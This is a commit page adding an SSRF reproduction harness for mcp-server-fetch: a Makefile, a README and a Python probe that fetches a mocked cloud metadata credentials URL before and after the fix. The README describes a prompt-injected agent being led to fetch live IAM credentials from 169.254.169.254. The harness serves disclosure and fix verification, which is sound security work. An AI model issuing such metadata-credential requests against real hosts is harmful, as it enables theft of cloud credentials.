Skip to content

Commit bfacb1c

Browse files
poc/ssrf: Makefile + quick_probe.py + README; harness complete
Third of three commits. The harness is now end-to-end runnable. Contents this commit: - poc/ssrf/quick_probe.py: pure-Python no-Docker probe. Spins up the IMDS mock on a random loopback port (loopback stands in for link- local since both are RFC-reserved addresses that post-PR-#4226 refuses; we can't bind 169.254.169.254 in a regular process) and runs two side-by-side fetches against it: 1. Pre-fix shape: bare urllib.request.urlopen with no validation -> the AKIA-FAKE token comes back. 2. Post-fix shape (PR #4226 logic distilled to a function): scheme allowlist + RFC-reserved-range denylist applied to the URL host -> URL is refused before the HTTP fetch. No mcp-server-fetch install required. Verified end-to-end: - exits 0 with vulnerability shape demonstrated - exits 1 with --exit-nonzero-on-vuln set (monitoring/CI mode) - exits 2 if IMDS mock fails to bind - exits 3 if either side didn't match expected pattern - poc/ssrf/Makefile: targets mirror poc/dns-rebind/Makefile for consistency: make demo-quick pure Python, ~3 seconds make demo-full containerized end-to-end, ~60 seconds first run make demo demo-quick then demo-full make demo-fixed demo-full with MCP_FETCH_VERSION set to a post- PR-#4226 release to verify the fix path make clean tear down containers + remove built images demo-fixed refuses to run without MCP_FETCH_VERSION set, since there's no sensible default post-fix version to pin. - poc/ssrf/README.md: architecture diagram, expected output for both vulnerable + fixed runs, exit-code table, layout reference, and cross-links to: - findings/2026-05-11-MCP-D-003-fetch-direct-environment-dependent-ssrf.md - modelcontextprotocol/servers#4143 (disclosure) - modelcontextprotocol/servers#4226 (fix PR) - docs/audit-runbook-ec2-ssrf-verification.md (real-EC2 runbook that this harness complements rather than replaces) - poc/dns-rebind/ (sibling harness for the other vuln class) Explicitly notes the harness is NOT embargoed since the SSRF was disclosed via the public GitHub issue on 2026-05-12 and the fix shipped 2026-05-22. Verified this commit: - ruff check poc/ssrf/ : clean - quick_probe.py end-to-end smoke: pre-fix returns AKIA-FAKE, post-fix returns the refusal message, exit code matches --exit-nonzero-on-vuln flag - Makefile 'make help' renders the target list correctly Not yet verified (deferred to user; Docker daemon was down throughout): - 'make demo-full' end-to-end with the actual mcp-server-fetch v2025.4.7 package against the containerized 169.254.169.254 IMDS mock. The docker-compose.yml + Dockerfiles + attack.py are syntactically and logically validated; the first end-to-end run will be on the user's machine after starting Docker Desktop. Strategic value: - mcp-witness reproduction-harness collection now covers both disclosed vulnerability classes (DNS rebinding via poc/dns-rebind/ + SSRF via poc/ssrf/), closing the asymmetry where one class had a one-command repro and the other required AWS infrastructure. - The harness collection itself becomes a citable artifact independent of the scanner. Anyone reading the disclosure record can run the full reproduction in ~60 seconds without an AWS account. - Pairs naturally with the docs/detector-evolution-s014.md + docs/methodology-soft-escalation.md writeups as the third leg of the 'one of one' positioning: disclosure clearinghouse + worked- example methodology writeups + runnable reproduction harnesses.
1 parent ee67467 commit bfacb1c

3 files changed

Lines changed: 394 additions & 0 deletions

File tree

‎poc/ssrf/Makefile‎

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
.PHONY: demo demo-quick demo-full demo-fixed clean help
2+
3+
help:
4+
@echo "SSRF PoC harness — targets:"
5+
@echo ""
6+
@echo " make demo-quick Fast Python-only probe (no Docker)."
7+
@echo " Side-by-side pre-fix vs post-fix demonstration"
8+
@echo " using a threaded IMDS mock + bare urllib."
9+
@echo " No mcp-server-fetch install required."
10+
@echo " ~3 seconds."
11+
@echo ""
12+
@echo " make demo-full Full containerized end-to-end PoC against the"
13+
@echo " real mcp-server-fetch v2025.4.7 package."
14+
@echo " Requires Docker. ~60 seconds first run, ~5"
15+
@echo " seconds thereafter."
16+
@echo ""
17+
@echo " make demo Runs demo-quick, then demo-full."
18+
@echo ""
19+
@echo " make demo-fixed Same as demo-full but against a post-PR-#4226"
20+
@echo " release. Set MCP_FETCH_VERSION first, e.g."
21+
@echo " MCP_FETCH_VERSION=2026.5.30 make demo-fixed"
22+
@echo ""
23+
@echo " make clean Tear down containers + remove built images."
24+
25+
demo: demo-quick demo-full
26+
27+
demo-quick:
28+
@echo "═════════════════════════════════════════════════════════════════"
29+
@echo " demo-quick — direct probe (no Docker)"
30+
@echo "═════════════════════════════════════════════════════════════════"
31+
python3 quick_probe.py
32+
33+
demo-full:
34+
@echo "═════════════════════════════════════════════════════════════════"
35+
@echo " demo-full — containerized SSRF reproduction"
36+
@echo "═════════════════════════════════════════════════════════════════"
37+
docker compose up --build --abort-on-container-exit --exit-code-from attacker
38+
39+
demo-fixed:
40+
@if [ -z "$$MCP_FETCH_VERSION" ]; then \
41+
echo "set MCP_FETCH_VERSION to a post-PR-#4226 release first."; \
42+
echo " e.g. MCP_FETCH_VERSION=2026.5.30 make demo-fixed"; \
43+
exit 2; \
44+
fi
45+
docker compose up --build --abort-on-container-exit --exit-code-from attacker
46+
47+
clean:
48+
docker compose down -v --rmi local 2>/dev/null || true
49+
@echo "Cleaned up containers + images."

‎poc/ssrf/README.md‎

Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
# SSRF PoC harness — `mcp-server-fetch` cloud-metadata reach
2+
3+
End-to-end runnable reproduction of the SSRF in `mcp-server-fetch` that was disclosed at [modelcontextprotocol/servers#4143](https://github.com/modelcontextprotocol/servers/issues/4143) on 2026-05-12 and fixed in PR [#4226](https://github.com/modelcontextprotocol/servers/pull/4226) on 2026-05-22.
4+
5+
Companion to [`poc/dns-rebind/`](../dns-rebind/). Both disclosed vulnerability classes (outbound SSRF and inbound DNS rebinding) now have a `make demo` reproduction.
6+
7+
This harness is **not embargoed**. The vulnerability is already public via the upstream GitHub issue + PR; the harness just packages reproduction so anyone can verify in seconds without needing an AWS account.
8+
9+
## What this demonstrates
10+
11+
`mcp-server-fetch` v2025.4.7 (and earlier) exposes a `fetch` tool that accepts any URL from an agent tool call and proxies it through `httpx.get()` with no scheme allowlist, no host denylist, and no protection against RFC-reserved-range addresses. An agent coerced via prompt injection into calling `fetch("http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>/")` on a cloud-hosted host running IMDSv1 or IMDSv2-Optional will retrieve live IAM credentials.
12+
13+
The PR #4226 fix adds: scheme allowlist (`http`, `https` only), RFC-reserved-range denylist (loopback, link-local, private, reserved, multicast, unspecified), and per-redirect validation (the destination of every HTTP redirect is re-validated). The same `fetch` call that previously returned credentials now returns *"Fetching private or non-public IP addresses is not allowed."*
14+
15+
## Architecture
16+
17+
```
18+
+--------------------------------------------------------+
19+
| Docker network: metadata-net (subnet 169.254.0.0/16) |
20+
| |
21+
| +-----------------+ +-----------------------+ |
22+
| | IMDS mock | | attacker container | |
23+
| | static IP | | - mcp-server-fetch | |
24+
| | 169.254.169.254|<-------| v2025.4.7 (pinned) | |
25+
| | (Python stdlib | GET | - attack.py JSON-RPC | |
26+
| | http.server) | --> | driver | |
27+
| +-----------------+ +-----------------------+ |
28+
+--------------------------------------------------------+
29+
```
30+
31+
Two containers on a custom `169.254.0.0/16` Docker bridge network. The IMDS mock claims the canonical EC2 metadata IP `169.254.169.254` inside the network and serves fake (but realistic-shaped) IAM credentials.
32+
33+
The attacker container spawns `python -m mcp_server_fetch` as a stdio subprocess, runs the MCP protocol handshake, and issues a single `tools/call` against the `fetch` tool with the IMDS metadata URL. The pre-fix `fetch` returns the body of the HTTP response. The attacker inspects that body for the `AKIA-FAKE` literal that the IMDS mock embeds in its fake credential response. If the literal appears, the vulnerability is confirmed and the attacker container exits 0.
34+
35+
## Credential values are obviously fake
36+
37+
The IMDS mock's fake credentials are intentionally non-credible:
38+
39+
```json
40+
{
41+
"Code": "Success",
42+
"AccessKeyId": "AKIA-FAKE-NEVER-USE-DEMO",
43+
"SecretAccessKey": "FAKE-SECRET-KEY-DO-NOT-USE-IN-REAL-CODE",
44+
"Token": "FAKE-SESSION-TOKEN-POC-DEMO-ONLY-NEVER-USE",
45+
...
46+
}
47+
```
48+
49+
No real cloud account is involved. No real exfiltration happens. The harness confirms vulnerability shape only.
50+
51+
## Run it
52+
53+
```bash
54+
cd poc/ssrf/
55+
56+
# Fast Python-only probe (no Docker required)
57+
make demo-quick
58+
59+
# Full containerized end-to-end (requires Docker)
60+
make demo-full
61+
62+
# Both, sequentially
63+
make demo
64+
65+
# Verify the fix
66+
MCP_FETCH_VERSION=<post-PR-#4226-release> make demo-fixed
67+
68+
# Cleanup
69+
make clean
70+
```
71+
72+
## Expected output (demo-full, vulnerable)
73+
74+
```
75+
=================================================================
76+
mcp-witness SSRF PoC reproduction
77+
=================================================================
78+
mcp-server-fetch version: 2025.4.7
79+
target URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/poc-demo-role
80+
expected outcome (vulnerable): AKIA-FAKE token returned
81+
expected outcome (fixed): URL refused as private/non-public
82+
83+
[1/4] initialize handshake ...
84+
[2/4] tools/list ...
85+
tools available: ['fetch']
86+
[3/4] tools/call fetch(url='http://169.254.169.254/latest/meta-data/iam/security-credentials/poc-demo-role') ...
87+
[4/4] analyzing response ...
88+
89+
--- response body ---
90+
{
91+
"Code": "Success",
92+
"AccessKeyId": "AKIA-FAKE-NEVER-USE-DEMO",
93+
...
94+
}
95+
--- (end response) ----
96+
97+
=================================================================
98+
PoC RESULT: VULNERABLE
99+
=================================================================
100+
The fake AKIA token ('AKIA-FAKE') appears in the response.
101+
mcp-server-fetch retrieved cloud-metadata credentials via the
102+
agent tool surface with no scheme/host validation.
103+
104+
disclosure: modelcontextprotocol/servers#4143
105+
fix: modelcontextprotocol/servers PR #4226 (kgarg2468)
106+
```
107+
108+
## Expected output (demo-fixed, post-PR-#4226)
109+
110+
```
111+
=================================================================
112+
mcp-witness SSRF PoC reproduction
113+
=================================================================
114+
mcp-server-fetch version: <post-fix-version>
115+
...
116+
117+
--- response body ---
118+
Fetching private or non-public IP addresses is not allowed.
119+
--- (end response) ----
120+
121+
=================================================================
122+
PoC RESULT: FIX VERIFIED
123+
=================================================================
124+
```
125+
126+
## Exit codes
127+
128+
Useful for CI / monitoring. The Docker compose `--exit-code-from attacker` flag surfaces these to `make demo`.
129+
130+
| Code | Meaning |
131+
|---|---|
132+
| 0 | VULNERABLE — `AKIA-FAKE` came back in the JSON-RPC response |
133+
| 1 | FIX VERIFIED — the post-PR-#4226 refusal message came back |
134+
| 2 | INFRASTRUCTURE FAILURE — couldn't spawn mcp-server-fetch, couldn't reach IMDS, etc |
135+
| 3 | UNEXPECTED — response matched neither pattern |
136+
137+
`quick_probe.py` accepts `--exit-nonzero-on-vuln` to flip the convention for monitoring use (exit 1 on vuln, 0 on no-vuln).
138+
139+
## Layout
140+
141+
```
142+
poc/ssrf/
143+
├── Makefile demo / demo-quick / demo-full / demo-fixed / clean
144+
├── README.md this file
145+
├── docker-compose.yml custom 169.254.0.0/16 network + service definitions
146+
├── quick_probe.py pure-Python no-Docker probe (~3 seconds, no install)
147+
├── imds/ mock cloud metadata service container
148+
│ ├── Dockerfile python:3.11-slim + healthcheck
149+
│ └── server.py http.server-based mock; serves fake credentials
150+
└── attacker/ agent-side reproduction container
151+
├── Dockerfile python:3.11-slim + mcp-server-fetch pinned
152+
└── attack.py stdio JSON-RPC driver + response classifier
153+
```
154+
155+
## Why this matters
156+
157+
The original disclosure was verified on EC2 with real IAM credentials in [`docs/audit-runbook-ec2-ssrf-verification.md`](../../docs/audit-runbook-ec2-ssrf-verification.md). That runbook is still the right tool for verifying against real cloud infrastructure. This harness is the right tool for everyone else: anyone reading the disclosure record who wants to confirm the vulnerability shape can do so with `make demo-full` instead of standing up AWS infrastructure.
158+
159+
The pairing of `poc/dns-rebind/` + `poc/ssrf/` makes the mcp-witness reproduction-harness collection a coherent artifact independent of the scanner itself. Each disclosed vulnerability class has a one-command reproduction.
160+
161+
## Related
162+
163+
- Finding entry: [`findings/2026-05-11-MCP-D-003-fetch-direct-environment-dependent-ssrf.md`](../../findings/2026-05-11-MCP-D-003-fetch-direct-environment-dependent-ssrf.md)
164+
- Disclosure record: tracked at [modelcontextprotocol/servers#4143](https://github.com/modelcontextprotocol/servers/issues/4143)
165+
- Fix verification runbook (real EC2): [`docs/audit-runbook-ec2-ssrf-verification.md`](../../docs/audit-runbook-ec2-ssrf-verification.md)
166+
- Sibling DNS-rebind harness: [`poc/dns-rebind/`](../dns-rebind/)

‎poc/ssrf/quick_probe.py‎

Lines changed: 179 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,179 @@
1+
"""Pure-Python no-docker probe demonstrating the SSRF vulnerability shape.
2+
3+
Runs in seconds. No Docker, no mcp-server-fetch install required.
4+
5+
Spins up the IMDS mock on a random local port (cannot use 169.254.169.254
6+
in a regular process; loopback stands in for link-local since both are
7+
RFC-reserved addresses that post-PR-#4226 mcp-server-fetch refuses) and
8+
demonstrates two side-by-side fetches:
9+
10+
1. Pre-fix behavior: bare urllib.request.urlopen with no validation
11+
fetches the IMDS endpoint and the fake AKIA token comes back.
12+
13+
2. Post-fix behavior (PR #4226 shape): the same fetch passes through
14+
a scheme allowlist + RFC-reserved-range denylist and is refused.
15+
16+
The full containerized harness (`make demo-full`) uses the actual
17+
mcp-server-fetch package and the actual link-local metadata IP. This
18+
quick probe is for fast triage and CI smoke-checking.
19+
20+
Exit codes:
21+
0 = vulnerability shape demonstrated (default mode)
22+
1 = vulnerability shape demonstrated AND --exit-nonzero-on-vuln set
23+
2 = infrastructure failure (IMDS mock didn't start)
24+
3 = vulnerability shape did NOT reproduce (probe broken)
25+
"""
26+
27+
from __future__ import annotations
28+
29+
import argparse
30+
import ipaddress
31+
import os
32+
import socket
33+
import sys
34+
import threading
35+
import time
36+
import urllib.error
37+
import urllib.parse
38+
import urllib.request
39+
from http.server import HTTPServer
40+
41+
# Make the IMDS handler importable regardless of cwd when this script is invoked.
42+
_HERE = os.path.dirname(os.path.abspath(__file__))
43+
sys.path.insert(0, os.path.join(_HERE, "imds"))
44+
from server import IMDSHandler # noqa: E402
45+
46+
VULN_MARKER = "AKIA-FAKE"
47+
48+
49+
def find_free_port() -> int:
50+
s = socket.socket()
51+
s.bind(("127.0.0.1", 0))
52+
port = s.getsockname()[1]
53+
s.close()
54+
return port
55+
56+
57+
def start_imds_mock(port: int) -> HTTPServer:
58+
server = HTTPServer(("127.0.0.1", port), IMDSHandler)
59+
t = threading.Thread(target=server.serve_forever, daemon=True)
60+
t.start()
61+
# Wait until the server is actually accepting requests.
62+
deadline = time.monotonic() + 5.0
63+
while time.monotonic() < deadline:
64+
try:
65+
with urllib.request.urlopen(
66+
f"http://127.0.0.1:{port}/latest/meta-data/instance-id", timeout=0.5
67+
) as r:
68+
r.read()
69+
return server
70+
except (urllib.error.URLError, ConnectionError):
71+
time.sleep(0.05)
72+
server.shutdown()
73+
raise RuntimeError(f"IMDS mock failed to start on port {port}")
74+
75+
76+
def fetch_unvalidated(url: str) -> str:
77+
"""Pre-fix mcp-server-fetch behavior distilled: fetch with no validation."""
78+
with urllib.request.urlopen(url, timeout=5) as r:
79+
return r.read().decode("utf-8", errors="replace")
80+
81+
82+
def fetch_validated(url: str) -> str:
83+
"""Post-fix (PR #4226) mcp-server-fetch behavior distilled.
84+
85+
Scheme allowlist + RFC-reserved-range denylist applied to the URL's
86+
host. Returns the refusal message instead of fetching when blocked.
87+
"""
88+
parsed = urllib.parse.urlparse(url)
89+
if parsed.scheme not in ("http", "https"):
90+
return "Refused: only http/https schemes are allowed."
91+
host = parsed.hostname or ""
92+
try:
93+
host_ip = ipaddress.ip_address(host)
94+
if (
95+
host_ip.is_private
96+
or host_ip.is_loopback
97+
or host_ip.is_link_local
98+
or host_ip.is_reserved
99+
or host_ip.is_multicast
100+
or host_ip.is_unspecified
101+
):
102+
return "Fetching private or non-public IP addresses is not allowed."
103+
except ValueError:
104+
# Not an IP literal. Real PR #4226 also resolves DNS and re-checks.
105+
pass
106+
with urllib.request.urlopen(url, timeout=5) as r:
107+
return r.read().decode("utf-8", errors="replace")
108+
109+
110+
def main() -> int:
111+
parser = argparse.ArgumentParser(description=__doc__.splitlines()[0])
112+
parser.add_argument(
113+
"--exit-nonzero-on-vuln",
114+
action="store_true",
115+
help="for monitoring / CI: exit 1 if vulnerability shape is confirmed",
116+
)
117+
args = parser.parse_args()
118+
119+
print("=" * 65)
120+
print(" SSRF PoC quick probe (no Docker, no mcp-server-fetch install)")
121+
print("=" * 65)
122+
print()
123+
print(" disclosure: modelcontextprotocol/servers#4143")
124+
print(" fix: modelcontextprotocol/servers PR #4226 (kgarg2468)")
125+
print(" embargo: not embargoed; vulnerability publicly disclosed 2026-05-12.")
126+
print()
127+
128+
port = find_free_port()
129+
print(f"[1/4] starting IMDS mock on 127.0.0.1:{port} ...")
130+
try:
131+
server = start_imds_mock(port)
132+
except RuntimeError as e:
133+
print(f"INFRA: {e}", file=sys.stderr)
134+
return 2
135+
print(" ready (loopback stands in for link-local 169.254.169.254)")
136+
print()
137+
138+
target_url = f"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/poc-demo-role"
139+
140+
print(f"[2/4] simulating pre-fix fetch({target_url}) ...")
141+
pre_body = fetch_unvalidated(target_url)
142+
print(f" response body: {pre_body.strip()[:200]}")
143+
vuln_confirmed = VULN_MARKER in pre_body
144+
print(f" vulnerable (AKIA-FAKE token in response): {vuln_confirmed}")
145+
print()
146+
147+
print(f"[3/4] simulating post-fix (PR #4226) fetch({target_url}) ...")
148+
post_body = fetch_validated(target_url)
149+
print(f" response: {post_body.strip()[:200]}")
150+
fix_confirmed = "not allowed" in post_body.lower() or "refused" in post_body.lower()
151+
print(f" refused: {fix_confirmed}")
152+
print()
153+
154+
print("[4/4] shutdown mock ...")
155+
server.shutdown()
156+
print()
157+
158+
if vuln_confirmed and fix_confirmed:
159+
print("=" * 65)
160+
print(" QUICK PROBE RESULT: vulnerability shape demonstrated.")
161+
print("=" * 65)
162+
print(" Pre-fix mcp-server-fetch's lack of scheme/host validation lets")
163+
print(" any URL through, including link-local cloud-metadata addresses.")
164+
print(" The PR #4226 fix shape refuses the same URL via reserved-range")
165+
print(" denylist.")
166+
print()
167+
print(" Run 'make demo-full' for the full containerized reproduction")
168+
print(" against the actual mcp-server-fetch v2025.4.7 package.")
169+
return 1 if args.exit_nonzero_on_vuln else 0
170+
171+
print("=" * 65)
172+
print(" QUICK PROBE RESULT: shape did NOT reproduce as expected.")
173+
print("=" * 65)
174+
print(f" vuln_confirmed={vuln_confirmed}, fix_confirmed={fix_confirmed}")
175+
return 3
176+
177+
178+
if __name__ == "__main__":
179+
sys.exit(main())

0 commit comments

Comments
 (0)